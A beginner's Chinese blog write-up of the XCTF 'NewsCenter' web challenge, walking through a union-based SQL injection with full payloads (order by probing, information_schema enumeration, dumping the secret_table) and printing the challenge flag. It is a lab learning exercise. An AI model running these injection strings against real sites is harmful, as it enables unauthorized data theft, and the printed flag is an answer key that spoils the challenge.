笔记|攻防世界 web进阶区 NewsCenter

标题 攻防世界 WEB进阶区 —NewsCenter

最近刚入web这一块想想写了道ctf,新手勿喷 这也是我第一次写博客

先看题目笔记|攻防世界 web进阶区 NewsCenter
文章图片
点开来是这样的界面
笔记|攻防世界 web进阶区 NewsCenter
文章图片
说实话一开始没有头绪,看着这个界面觉得很奇怪,但是基于之前写过的几道题我还是按开了F12开发者视图,在里面找了很久没发现什么有用的信息,然后我在想这里有输入框,会不会是xss的题目于是我就写了
【笔记|攻防世界 web进阶区 NewsCenter】笔记|攻防世界 web进阶区 NewsCenter
文章图片
发现页面也没有弹窗,于是陷入了漫长的沉思中,然后决定向以往一样先扫个目录看看于是起了dirmap
笔记|攻防世界 web进阶区 NewsCenter
文章图片

用 python dirmap.py -i 地址 -lcf
扫出几个于是我打开了一个看看笔记|攻防世界 web进阶区 NewsCenter
文章图片
当时看着也挺懵的,这不就是之前那张页面把那些图全去掉了吗(也太随便了)
然后就是抓包 这里推荐用burp suite
在搜索框中输入一个值笔记|攻防世界 web进阶区 NewsCenter
文章图片
看到数据包最下方有个POST提交的 search =1
看到这里不知道大家想到了什么没有
(我第一时间是想到了sql注入)
于是我去尝试,因为search框是能输入字符的所以应该先想他为字符型注入
我比较习惯于用 order by 去判断是否有sql注入
于是在这里构造
search=1’ order by 3 --+
burp suite里发送给repeater笔记|攻防世界 web进阶区 NewsCenter
文章图片
再尝试search=1’ order by 4 --+笔记|攻防世界 web进阶区 NewsCenter
文章图片
非常好出现错误了,原来这道题就是道sql注入的题
接下来是利用sql注入的联合查询
search=-1’ union select 1,2,3 --+笔记|攻防世界 web进阶区 NewsCenter
文章图片
判断回显位为2,3
然后search=-1’ union select 1,version(),database() --+
获取sql版本和当前数据库名笔记|攻防世界 web进阶区 NewsCenter
文章图片
这里为什么要获取数据库版本呢因为mysql大于5.0以上的版本有一个
系统数据库information_schema里面的tables表和columns表包含了其他所有的表和列这样我们就可以有据查询
并且这里知道了当前数据库为news
然后再构造sql语句
search=-1’ union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=‘news’ --+
笔记|攻防世界 web进阶区 NewsCenter
文章图片
这里可以看到有两个表news,和secret_table,news应该就是页面上的那些所以我们去找flag要从secret_table表中去找
再构造sql语句search=-1’ union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=‘secret_table’ --+
笔记|攻防世界 web进阶区 NewsCenter
文章图片
看到有两个列id,fl4g答案应该就在fl4g里面了
最后的sql语句
search=-1’ union select 1,version(),group_concat(fl4g) from secret_table --+笔记|攻防世界 web进阶区 NewsCenter
文章图片
这样就得到flag值了
QCTF{sq1_inJec7ion_ezzz}
然后就是下一关啦
第一次写博客还望多多海涵!!!

    推荐阅读